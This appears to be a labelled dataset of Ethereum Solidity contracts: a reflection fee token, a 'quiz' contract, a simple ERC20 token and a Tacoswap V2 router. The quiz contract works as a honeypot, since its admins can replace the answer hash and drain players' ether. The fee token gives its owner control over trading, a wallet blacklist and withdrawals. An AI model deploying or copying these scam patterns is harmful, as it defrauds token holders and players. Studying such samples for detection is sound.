event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address recipient, uint256 amount) external onlyOwner() {
removeAllFee();
_transfer(_msgSender(), recipient, amount * 10**9);
restoreAllFee();
}
function airdropInternal(address recipient, uint256 amount) internal {
removeAllFee();
_transfer(_msgSender(), recipient, amount);
restoreAllFee();
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
iterator += 1;
}
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMarketingWallet(address walletAddress) public onlyOwner {
marketingWallet = walletAddress;
}
function upliftTxAmount() external onlyOwner() {
_maxTxAmount = 69000000000000000000000 * 10**9;
}
function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million");
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function claimTokens () public onlyOwner {
// make sure we capture all BNB that may or may not be sent to this contract
payable(marketingWallet).transfer(address(this).balance);
}
function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
function addBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function allowtrading()external onlyOwner() {
canTrade = true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
// add the marketing wallet
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 marketingshare = newBalance.mul(80).div(100);
payable(marketingWallet).transfer(marketingshare);
newBalance -= marketingshare;
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!canTrade){
require(sender == owner()); // only owner allowed to trade or add liquidity
}
if(botWallets[sender] || botWallets[recipient]){
require(botscantrade, "bots arent allowed to trade");
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
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|
contract I_AM_QUIZ
{
function Try(string memory _response) public payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
{
payable(msg.sender).transfer(address(this).balance);
}
}
string public question;
bytes32 responseHash;
mapping (bytes32=>bool) admin;
function Start(string calldata _question, string calldata _response) public payable isAdmin{
if(responseHash==0x0){
responseHash = keccak256(abi.encode(_response));
question = _question;
}
}
function Stop() public payable isAdmin {
payable(msg.sender).transfer(address(this).balance);
}
function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
question = _question;
responseHash = _responseHash;
}
constructor(bytes32[] memory admins) {
for(uint256 i=0; i< admins.length; i++){
admin[admins[i]] = true;
}
}
modifier isAdmin(){
require(admin[keccak256(abi.encodePacked(msg.sender))]);
_;
}
fallback() external {}
} | True | [
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|
// Dependency file: contracts/libraries/SafeMath.sol
// SPDX-License-Identifier: MIT
// pragma solidity >=0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Dependency file: contracts/modules/Configable.sol
// pragma solidity >=0.5.16;
pragma experimental ABIEncoderV2;
interface IConfig {
function developer() external view returns (address);
function platform() external view returns (address);
function factory() external view returns (address);
function mint() external view returns (address);
function token() external view returns (address);
function developPercent() external view returns (uint);
function share() external view returns (address);
function base() external view returns (address);
function governor() external view returns (address);
function getPoolValue(address pool, bytes32 key) external view returns (uint);
function getValue(bytes32 key) external view returns(uint);
function getParams(bytes32 key) external view returns(uint, uint, uint, uint);
function getPoolParams(address pool, bytes32 key) external view returns(uint, uint, uint, uint);
function wallets(bytes32 key) external view returns(address);
function setValue(bytes32 key, uint value) external;
function setPoolValue(address pool, bytes32 key, uint value) external;
function setParams(bytes32 _key, uint _min, uint _max, uint _span, uint _value) external;
function setPoolParams(bytes32 _key, uint _min, uint _max, uint _span, uint _value) external;
function initPoolParams(address _pool) external;
function isMintToken(address _token) external returns (bool);
function prices(address _token) external returns (uint);
function convertTokenAmount(address _fromToken, address _toToken, uint _fromAmount) external view returns (uint);
function DAY() external view returns (uint);
function WETH() external view returns (address);
}
contract Configable {
address public config;
address public owner;
event OwnerChanged(address indexed _oldOwner, address indexed _newOwner);
constructor() public {
owner = msg.sender;
}
function setupConfig(address _config) external onlyOwner {
config = _config;
owner = IConfig(config).developer();
}
modifier onlyOwner() {
require(msg.sender == owner, 'OWNER FORBIDDEN');
_;
}
modifier onlyDeveloper() {
require(msg.sender == IConfig(config).developer(), 'DEVELOPER FORBIDDEN');
_;
}
modifier onlyPlatform() {
require(msg.sender == IConfig(config).platform(), 'PLATFORM FORBIDDEN');
_;
}
modifier onlyFactory() {
require(msg.sender == IConfig(config).factory(), 'FACTORY FORBIDDEN');
_;
}
modifier onlyGovernor() {
require(msg.sender == IConfig(config).governor(), 'Governor FORBIDDEN');
_;
}
}
// Root file: contracts/AAAAToken.sol
pragma solidity >=0.5.16;
// import "contracts/libraries/SafeMath.sol";
// import "contracts/modules/Configable.sol";
contract AAAAToken is Configable {
using SafeMath for uint;
// implementation of ERC20 interfaces.
string public name = "AAAA Token";
string public symbol = "AAAA";
uint8 public decimals = 18;
uint public totalSupply = 10240000 * (1e18);
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address from, address to, uint value) internal {
require(balanceOf[from] >= value, 'AAAA: INSUFFICIENT_BALANCE');
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
if (to == address(0)) { // burn
totalSupply = totalSupply.sub(value);
}
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
require(allowance[from][msg.sender] >= value, 'AAAA: INSUFFICIENT_ALLOWANCE');
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
} | True | [
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|
pragma solidity =0.6.12;
// SPDX-License-Identifier: GPL-3.0
import './libraries/TacoswapV2Library.sol';
import './libraries/SafeMath.sol';
import './libraries/TransferHelper.sol';
import './interfaces/ITacoswapV2Router02.sol';
import './interfaces/ITacoswapV2Factory.sol';
import './interfaces/IERC20.sol';
import './interfaces/IWETH.sol';
contract TacoswapV2Router02 is ITacoswapV2Router02 {
using SafeMathTacoswap for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'TacoswapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (ITacoswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
ITacoswapV2Factory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = TacoswapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = TacoswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'TacoswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = TacoswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'TacoswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = TacoswapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = ITacoswapV2Pair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = TacoswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = ITacoswapV2Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = TacoswapV2Library.pairFor(factory, tokenA, tokenB);
ITacoswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = ITacoswapV2Pair(pair).burn(to);
(address token0,) = TacoswapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'TacoswapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'TacoswapV2Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = TacoswapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
ITacoswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = TacoswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
ITacoswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20Tacoswap(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = TacoswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
ITacoswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = TacoswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? TacoswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
ITacoswapV2Pair(TacoswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = TacoswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'TacoswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, TacoswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = TacoswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'TacoswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, TacoswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
